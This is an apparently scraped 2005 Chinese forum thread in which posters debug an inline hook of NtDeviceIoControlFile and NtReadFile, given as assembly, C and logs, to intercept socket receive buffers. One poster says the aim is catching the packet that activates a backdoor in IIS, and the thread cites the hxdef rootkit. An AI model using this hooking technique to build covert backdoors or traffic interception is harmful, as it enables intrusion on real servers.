ntdevioctrl:8b0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f27dfc f27dfc 12083 104fcc8 44 11e9b8 840
invoke result:103
ntdevioctrl:8b4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f27f54 f27f54 12083 104fcc8 44 11f390 840
invoke result:103
ntdevioctrl:8b8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f280ac f280ac 12083 104fcc8 44 11fd30 840
invoke result:103
ntdevioctrl:8bc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28204 f28204 12083 104fcc8 44 1207e0 840
invoke result:103
ntdevioctrl:8c0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2835c f2835c 12083 104fcc8 44 121290 840
invoke result:103
ntdevioctrl:8c4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f284b4 f284b4 12083 104fcc8 44 12f008 840
invoke result:103
ntdevioctrl:8c8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2860c f2860c 12083 104fcc8 44 12f850 840
invoke result:103
ntdevioctrl:8cc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28764 f28764 12083 104fcc8 44 1302b0 840
invoke result:103
ntdevioctrl:8d0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f288bc f288bc 12083 104fcc8 44 130d60 840
invoke result:103
ntdevioctrl:8d4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28a14 f28a14 12083 104fcc8 44 131700 840
invoke result:103
ntdevioctrl:8d8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28b6c f28b6c 12083 104fcc8 44 1320a0 840
invoke result:103
ntdevioctrl:8dc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28cc4 f28cc4 12083 104fcc8 44 132a40 840
invoke result:103
ntdevioctrl:8e0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28e1c f28e1c 12083 104fcc8 44 1333e0 840
invoke result:103
ntdevioctrl:8e4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f28f74 f28f74 12083 104fcc8 44 133d80 840
invoke result:103
ntdevioctrl:8e8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f290cc f290cc 12083 104fcc8 44 134720 840
invoke result:103
ntdevioctrl:8ec 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29224 f29224 12083 104fcc8 44 1350c0 840
invoke result:103
ntdevioctrl:8f0 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2937c f2937c 12083 104fcc8 44 135a60 840
invoke result:103
ntdevioctrl:8f4 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f294d4 f294d4 12083 104fcc8 44 136400 840
invoke result:103
ntdevioctrl:8f8 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2962c f2962c 12083 104fcc8 44 136da0 840
invoke result:103
ntdevioctrl:8fc 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29784 f29784 12083 104fcc8 44 137740 840
invoke result:103
ntdevioctrl:900 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f298dc f298dc 12083 104fcc8 44 1380e0 840
invoke result:103
ntdevioctrl:904 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29a34 f29a34 12083 104fcc8 44 138a80 840
invoke result:103
ntdevioctrl:908 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29b8c f29b8c 12083 104fcc8 44 139420 840
invoke result:103
ntdevioctrl:90c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29ce4 f29ce4 12083 104fcc8 44 139dc0 840
invoke result:103
ntdevioctrl:910 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29e3c f29e3c 12083 104fcc8 44 13a760 840
invoke result:103
ntdevioctrl:914 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f29f94 f29f94 12083 104fcc8 44 13b100 840
invoke result:103
ntdevioctrl:918 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a0ec f2a0ec 12083 104fcc8 44 13baa0 840
invoke result:103
ntdevioctrl:91c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a244 f2a244 12083 104fcc8 44 13c440 840
invoke result:103
ntdevioctrl:920 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a39c f2a39c 12083 104fcc8 44 13cde0 840
invoke result:103
ntdevioctrl:924 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a4f4 f2a4f4 12083 104fcc8 44 13d780 840
invoke result:103
ntdevioctrl:928 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a64c f2a64c 12083 104fcc8 44 13e120 840
invoke result:103
ntdevioctrl:92c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a7a4 f2a7a4 12083 104fcc8 44 13eac0 840
invoke result:103
ntdevioctrl:930 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2a8fc f2a8fc 12083 104fcc8 44 13f460 840
invoke result:103
ntdevioctrl:934 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2aa54 f2aa54 12083 104fcc8 44 13fe00 840
invoke result:103
ntdevioctrl:938 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2abac f2abac 12083 104fcc8 44 1407a0 840
invoke result:103
ntdevioctrl:93c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2ad04 f2ad04 12083 104fcc8 44 141140 840
invoke result:103
ntdevioctrl:940 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2ae5c f2ae5c 12083 104fcc8 44 141ae0 840
invoke result:103
ntdevioctrl:944 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2afb4 f2afb4 12083 104fcc8 44 142480 840
invoke result:103
ntdevioctrl:948 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2b10c f2b10c 12083 104fcc8 44 142e20 840
invoke result:103
ntdevioctrl:94c 8ac 0 0 104fd48 12047 104fc44 d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f2b264 f2b264 12083 104fcc8 44 1437c0 840
invoke result:103
ntdevioctrl:800 0 0 f25f14 f25f14 1201f 104f9f0 10 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fd90 12017 104fd80 10 0 0
invoke result:103
ntdevioctrl:800 8ac 0 0 104fb9c 12037 104fbac 4 104fba4 8
invoke result:0
ntdevioctrl:800 8ac 0 0 104fba4 12037 104fbb4 4 104fbac 8
invoke result:0
ntdevioctrl:800 8ac 0 0 104fbbc 12047 104fab8 d4 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fbd8 12047 104fad4 d4 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fc88 1202b 104fc78 10 0 0
invoke result:0
ntdevioctrl:800 8ac 0 0 104fbe0 12037 104fbf0 4 104fbe8 8
invoke result:0
ntdevioctrl:800 8ac 0 0 104fd40 12047 104fc3c d4 0 0
invoke result:0
ntdevioctrl:7d0 0 0 f25f14 f25f14 12083 104fcc0 44 111098 840
invoke result:103
从中并没有 0x00012017做第六个参数的。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-15 17:00  
  发帖: 3234
积分: 11
注册: 2001-09-20
  00012017是recv函数最终使用的,完成端口是不是也用这个我就不能确定了,等有空了我再找个完成端口的应用来看看。

NtDeviceIoControlFile调用的频度远比你想象的要多,你这样全部打印很可能会漏掉关键的那个数据接收的调用。
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-15 17:01  
  发帖: 317
积分: 0
注册: 2004-01-22
  status = NtDeviceIoControlFile(
                 (HANDLE)Handle,
                 event,
                 apcRoutine,
                 apcContext,
                 ioStatusBlock,
                 IOCTL_AFD_RECEIVE,
                 &recvInfo,
                 sizeof(recvInfo),
                 NULL,
                 0
                 );
因为我们已知recv调用时最后两个参数为0,就加上这个条件做了个过滤。奇怪的这次出现了 0x00012017:
ntdevioctrl:964 0 0 f2b264 f2b264 1201f 104f9f0 10 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fd90 12017 104fd80 10 0 0
invoke result:103
ntdevioctrl:964 14c 0 0 104fbbc 12047 104fab8 d4 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fbd8 12047 104fad4 d4 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fc88 1202b 104fc78 10 0 0
invoke result:0
ntdevioctrl:964 14c 0 0 104fd40 12047 104fc3c d4 0 0
invoke result:0
疑惑中。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-15 17:05  
  发帖: 3234
积分: 11
注册: 2001-09-20
  NtDeviceIoControlFile是被循环调用的,其调用频度远超过Windows 控制台子系统屏幕输出的速度,你如果不加过滤条件,基本上得到的都是那些循环的输出。

你以0x00012017作为过滤条件。然后打印*(char *)(*(DWORD *)recvInfo + sizeof(DWORD)) 不就明白这个值是否正确了么。
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-15 17:09  
  发帖: 317
积分: 0
注册: 2004-01-22
  不是控制台,我是log到文件。
oriZwDeviceIoControlFile://offset:0x103
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分    
    
myZwDeviceIoControlFile://
//int 3
push ebp
mov ebp,esp
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call dbglog10
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call oriZwDeviceIoControlFile
push eax
push eax
call dbglog01
pop eax
pop ebp
ret 28h
必须等log结束,ntdevioctrl才能继续执行
我log的结果不全,log的速度没有ntdevioctrl调用的速度快,应该不会吧

baiyuanfan 编辑于 2005-03-15 17:11
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-15 17:24  
  发帖: 3234
积分: 11
注册: 2001-09-20
  计算机的美好之处在于0就是0,1就是1,铁板钉钉。说什么都没意义,你把0x00012017的时候缓冲区里面的数据打印出来就清楚了。
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-15 17:32  
  发帖: 317
积分: 0
注册: 2004-01-22
  我到是觉得12047很多,比较有可能,呵呵。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-15 17:34  
  发帖: 3234
积分: 11
注册: 2001-09-20
 
引用 (baiyuanfan @ 2005-03-15 17:32)
我到是觉得12047很多,比较有可能,呵呵。

你是准备继续喋喋不休下去呢,还是写个代码测试一下?
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-15 17:36  
  发帖: 317
积分: 0
注册: 2004-01-22
  写了,测了。
ntdevioctrl:94c 8ac 0 0 104fd90 12017 104fd80 10 0 0
invoke result:103
唯一的一个12017调用返回是pending!老大。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-15 17:46  
  发帖: 3234
积分: 11
注册: 2001-09-20
  我也郁闷了。这段东西给你参考一下:

#define AFD_RECEIVE             5
#define METHOD_NEITHER          3
#define FILE_DEVICE_NETWORK     0x00000012

#define FSCTL_AFD_BASE          FILE_DEVICE_NETWORK
#define _AFD_CONTROL_CODE(request,method) /
                ((FSCTL_AFD_BASE)<<12 | (request<<2) | method)

#define IOCTL_AFD_RECEIVE       _AFD_CONTROL_CODE( AFD_RECEIVE, METHOD_NEITHER )

typedef struct _WSABUF {
    ULONG len;
    PCHAR buf;
} WSABUF, *LPWSABUF;

typedef struct _AFD_RECV_INFO {
    LPWSABUF BufferArray;
    ULONG BufferCount;
    ULONG AfdFlags;
    ULONG TdiFlags;
} AFD_RECV_INFO, *PAFD_RECV_INFO;

typedef struct _IO_STATUS_BLOCK
{
    union
    {
        NTSTATUS Status;
        PVOID Pointer;
    };

    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
    IN PVOID ApcContext,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG Reserved
);
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-15 17:52  
  发帖: 317
积分: 0
注册: 2004-01-22
  这个是NT原代码??
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-16 11:22  
  发帖: 3234
积分: 11
注册: 2001-09-20
  用上面的宏,printf ("%.8x",IOCTL_AFD_RECEIVE)出来的就是00012017,和我调出来的结果是一致的。我实际测试也确实得到了接收到的数据。
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-16 15:46  
  发帖: 317
积分: 0
注册: 2004-01-22
  加过滤条件第六个参数为12017,得到以下结果,的确有
ntdevioctrl:6c8 8a4 0 0 104fd90 12017 104fd80 10 0 0
invoke result:     103 buff:GET /test.htm HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
If-Modified-Since: Sat, 12 Mar 2005 08:06:36 GMT
If-None-Match: "503d8569da26c51:f91"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 172.18.1.231
Connection: Keep-Alive
但是有2个问题:
1,这个调用返回的是pending,还有一个event object,应该是IO还没有完成。为什么我们直接读buffer就得到了数据??而且无花果说有一个event object时,当这个事件触发,APP还要调用一次ntdevioctrl,我们并没有截到?
2,我从另外一台机器访问自己站点多次,为什么只有第一次被log?重启IIS实验多次都这样。的确存在很大的漏log的问题。

我怀疑,是不是我在log的时候,这个函数就又被其他线程调用了多次,因此log不过来而且出现内存读写紊乱,或者说,有所谓“可重入性”不好的问题?大家帮看代码:

myZwDeviceIoControlFile://
//int 3
push ebp
mov ebp,esp
sub esp,4
mov dword ptr [ebp-4],0//flag,1 is 12017
cmp [ebp+0x1c],00012017h
jnz nolog10
mov dword ptr [ebp-4],1
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call dbglog10
nolog10:
push [ebp+0x2c]
push [ebp+0x28]
push [ebp+0x24]
push [ebp+0x20]
push [ebp+0x1c]
push [ebp+0x18]
push [ebp+0x14]
push [ebp+0x10]
push [ebp+0x0c]
push [ebp+0x08]
call oriZwDeviceIoControlFile
cmp dword ptr [ebp-4],0
jz nolog01
push eax
//*(char *)(*(DWORD *)recvInfo + sizeof(DWORD))
mov ecx,[ebp+0x20]
mov ecx,[ecx]
add ecx,4
mov ecx,[ecx]
push ecx
push eax
call dbglog01
pop eax
nolog01:
add esp,4
pop ebp
ret 28h

void __stdcall dbglog10(int a,int b,int c,int d,int e,int f,int g,int h,int i,int j){
char fmt[128];
sprintf(fmt,"ntdevioctrl:%x %x %x %x %x %x %x %x %x %x/r/n",a,b,c,d,e,f,g,h,i,j);
HANDLE filefp;
filefp=CreateFile("d://dbglog.txt",GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(filefp,0,0,FILE_END);
DWORD byteswritten;WriteFile(filefp,fmt,strlen(fmt),&byteswritten,0);
CloseHandle(filefp);
}

void __stdcall dbglog01(int a,char* b){
char fmt[128];
sprintf(fmt,"invoke result:%8x buff:%5s/r/n",a,b);
HANDLE filefp;
filefp=CreateFile("d://dbglog.txt",GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(filefp,0,0,FILE_END);
DWORD byteswritten;WriteFile(filefp,fmt,strlen(fmt),&byteswritten,0);
CloseHandle(filefp);
}

baiyuanfan 编辑于 2005-03-16 15:48
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-16 15:52  
  发帖: 3234
积分: 11
注册: 2001-09-20
  我试验的时候也发现了“只有第一次被log”的情况,具体原因还不明确。现在没什么时间搞这个,等过一阵子仔细看看Windows这一部分的代码实现。
---
我寒不能怨人傻
人傻不能怨政府
  rhett  
发表于:2005-03-16 17:03  
  发帖: 103
积分: 0
注册: 2003-04-26
  [已被删除]

rhett 删除于 2006-03-22 11:27:12
---
静水流深   baiyuanfan  
发表于:2005-03-17 17:04  
  发帖: 317
积分: 0
注册: 2004-01-22
  应该不是log的方法不对导致的漏log,我改进了方法,ntdevioctrl调用时先log到内存里的cache然后再一次写进文件。
void __stdcall dbglog10(int a,int b,int c,int d,int e,int f,int g,int h,int i,int j){
char fmt[128];
sprintf(fmt,"ntdevioctrl:%x %x %x %x %x %x %x %x %x %x/r/n",a,b,c,d,e,f,g,h,i,j);
strcat(buff,fmt);
}

void __stdcall dbglog01(int a,char* b){
char fmt[128];
sprintf(fmt,"invoke result:%8x buff:%5s/r/n",a,b);
strcat(buff,fmt);
}

//打印cached dbg information
Sleep(10000);
HANDLE filefp;
filefp=CreateFile("d://dbglog.txt",GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(filefp,0,0,FILE_END);
DWORD byteswritten;WriteFile(filefp,buff,strlen(buff),&byteswritten,0);
CloseHandle(filefp);

dbglog.txt:
ntdevioctrl:6c8 8a4 0 0 104fd90 12017 104fd80 10 0 0
invoke result:     103 buff:GET /test.htm HTTP/1.1
仍然12017只有一个pending记录

BTW,TK你什么时候变成“要饭兄”了??

baiyuanfan 编辑于 2005-03-17 17:05
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   baiyuanfan  
发表于:2005-03-21 00:13  
  发帖: 317
积分: 0
注册: 2004-01-22
  最近做了实验。自己写了个程序使用NtDeviceIoControlFile来recv数据。分别实验了阻塞,EVENT异步,APC异步3种IO模式。更加验证了最初设想的正确。并且发现,不论是EVENT异步,APC异步,都会在事件触发时候数据到达缓冲,不需要再次调用 NtDeviceIoControlFile。
    但是为什么只有第一次被log?仍然不清楚。自己努力同时期待大家帮助。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   rhett  
发表于:2005-03-22 12:40  
  发帖: 103
积分: 0
注册: 2003-04-26
  [已被删除]

rhett 删除于 2006-03-22 11:26:20
---
静水流深   baiyuanfan  
发表于:2005-03-27 11:56  
  发帖: 317
积分: 0
注册: 2004-01-22
  TK兄:测试代码在这里,不多说话了。
NtReadFile也可以达到recv的作用。
但是仍然有问题,只能在阻塞方式下用。用APC或者EVENT的异步调用都会返回无效参数。
TK继续帮忙看看。


void main(){char buff[1024];
WSADATA wsadata;
WSAStartup(0x202,&wsadata);
//sync
int sock=WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
sockaddr_in saddr;
saddr.sin_family=AF_INET;
saddr.sin_addr.S_un.S_addr=INADDR_ANY;
saddr.sin_port=htons(1985);
RtlZeroMemory(&(saddr.sin_zero),sizeof(saddr.sin_zero));
bind(sock,(sockaddr *)&saddr,sizeof(sockaddr_in));
listen(sock,5);
sockaddr_in newsaddr;
int tmp=sizeof(newsaddr);
int newsock=accept(sock,(sockaddr *)&newsaddr,&tmp);
printf("new socket %d recved/n",newsock);
RtlZeroMemory(buff,1024);
int (__stdcall* ZwReadFile)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN void* ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
ZwReadFile=
(int (__stdcall *)(void *,void *,void *,void *,struct _IO_STATUS_BLOCK *,void *,unsigned long,union _LARGE_INTEGER *,unsigned long *))
GetProcAddress(LoadLibrary("ntdll.dll"),"ZwReadFile");
tmp=ZwReadFile(
                 (void*)newsock,
                 0,
                 0,
                 0,
                 &iosblock,
                 buff,
                 1024,
                 0,
                 0
                 );
printf("ntread:%x,buff:%s/n",tmp,buff);
send(newsock,"ready/n",6,0);
closesocket(newsock);closesocket(sock);
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   1haoyu  
发表于:2005-04-02 15:36  
  发帖: 3061
积分: 0
注册: --
  有结果了吗,继续顶   ysiw  
发表于:2005-04-04 16:57  
  发帖: 7
积分: 0
注册: 2005-04-04
  因为你用 WSASocket 创建的 SOCKET 不具有 FILE_FLAG_OVERLAPPED,所以不能进行异步 I/O。而 socket/accept 创建的 SOCKET 默认是有 FILE_FLAG_OVERLAPPED 的,所以能进行异步 I/O,不过用 ReadFile/WriteFile 不能进行同步 I/O。只能用 recv/send/WSARecv/WSASend 之类的函数进行同步 I/O。

这个问题是个历史问题,在第一次实现 32bit winsock 的时候也就是 windows socket 1.1,socket/accept 创建的 SOCKET 就是默认有 FILE_FLAG_OVERLAPPED 的,为了向前兼容,winsock2 也就这样子了。

最近我刚写过一个驱动,就是把一个 toggle file handle 的 overlapped 属性 ;)。   ysiw  
发表于:2005-04-04 17:06  
  发帖: 7
积分: 0
注册: 2005-04-04
  WSASocket(AF_INET,SOCK_STREAM,0,0,0,FILE_FLAG_OVERLAPPED);
这样创建的 SOCKET 可以异步 I/O   baiyuanfan  
发表于:2005-04-05 11:07  
  发帖: 317
积分: 0
注册: 2004-01-22
  这个问题我还是不会犯的:)上面那个代码是阻塞的例子代码。
这个是非阻塞的:
sock=socket(AF_INET,SOCK_STREAM,0);
saddr.sin_family=AF_INET;
saddr.sin_addr.S_un.S_addr=INADDR_ANY;
saddr.sin_port=htons(1985);
RtlZeroMemory(&(saddr.sin_zero),sizeof(saddr.sin_zero));
bind(sock,(sockaddr *)&saddr,sizeof(sockaddr_in));
listen(sock,5);
tmp=sizeof(newsaddr);
newsock=accept(sock,(sockaddr *)&newsaddr,&tmp);
printf("new non-overlapped socket %d recved/n",newsock);

//event
HANDLE event=CreateEvent(0,0,0,0);
RtlZeroMemory(buff,1024);
tmp=ZwReadFile(
                 (void*)newsock,
                 event,
                 0,
                 0,
                 &iosblock,
                 buff,
                 1024,
                 0,
                 0
                 );
printf("ntread:%x,buff:%s/n",tmp,buff);
printf("event-overlapped pending/n");
WaitForSingleObject(event,INFINITE);
printf("ntread-buff:%s/n",buff);
send(newsock,"event-overlapped ready/n",23,0);

//apc
void __stdcall apc(void* pcontext,PIO_STATUS_BLOCK piosblock,int reserved);
RtlZeroMemory(buff,1024);
struct MYAPCCONTEXT{int sock;char* buff;}myapccontext;
myapccontext.sock=newsock;myapccontext.buff=buff;
tmp=ZwReadFile(
                 (void*)newsock,
                 0,
                 apc,
                 &myapccontext,
                 &iosblock,
                 &buff,
                 1024,
                 0,
                 0
                 );
printf("ntread:%x,buff:%s/n",tmp,buff);
printf("apc-overlapped pending/n");

while(1){SleepEx(10000,1);}
return;
}

void __stdcall apc(void* pcontext,PIO_STATUS_BLOCK piosblock,int reserved){
printf("ntread:-buff:%s/n",*((char**)pcontext+1));
send(*(int*)pcontext,"apc-overlapped ready/n",21,0);
}
不能成功。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   ysiw  
发表于:2005-04-05 20:16  
  发帖: 7
积分: 0
注册: 2005-04-04
  在进行 OVERLAPPED I/O 的时候 ZwReadFile/ZwWriteFile 的 ByteOffset 参数不能为空, 必须合法, 那怕是对管道/SOCKET不支持Offset的东东也一样, 否则返回 STATUS_INVALID_PARAMETER
这是你的代码中最明显的错误, 其他的没仔细看, 也许有也许没有, 你再试试吧.   baiyuanfan  
发表于:2005-04-06 10:08  
  发帖: 317
积分: 0
注册: 2004-01-22
  ysiw前辈是否用QQ?如果用,我的QQ51449276,请您加我给些指教,谢谢!

今天早晨实验成功,就是那个问题。

baiyuanfan 编辑于 2005-04-06 10:37
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   effort  
发表于:2005-04-06 19:38  
  发帖: 69
积分: 0
注册: 2005-01-31
  终于告一段落
---
effort:n.努力   ysiw  
发表于:2005-04-08 09:31  
  发帖: 7
积分: 0
注册: 2005-04-04
  ;) gxgx

不用 QQ 的, 另外工作的时候很少聊天, 还是论坛上聊吧, 大家都可以学习学习   baiyuanfan  
发表于:2005-04-08 13:41  
  发帖: 317
积分: 0
注册: 2004-01-22
  挂ntdev时又有发现
我提交到IIS的激活后门的80端口包用ntdev是可以拦截到的
不过奇怪的是不在它应该在的那个buffer里,而是紧挨着那个buffer的上面
mov ecx,[ebp+0x20]
mov ecx,[ecx]
add ecx,4
mov ecx,[ecx]
这个是由ntdev的参数决定的buffer地址
但是它实际上在ecx-packetlength这个位置!
但是如果你用IE提交浏览网页的请求时候,它又在它应该在的位置了,迷惑

还有,21和25端口就更狠了,用NtDeviceIOControlFile(controlcode 0x12017)和NtReadFile都拦截不住。
大家继续帮忙。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   baiyuanfan  
发表于:2005-04-09 22:27  
  发帖: 317
积分: 0
注册: 2004-01-22
  不好意思,21和25NtReadFile可以拦截,以前是我的一个编码错误导致的。
但是这个buffer位置不对的问题,的确是很奇怪!
看了hxdef,他的代码里也有专门对这个的处理,在他的代码里叫做“look around”,但是他并没有说明这个问题的原因。
现在 www.rootkit.com不知为什么又不能访问了。
请各位帮助我!
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值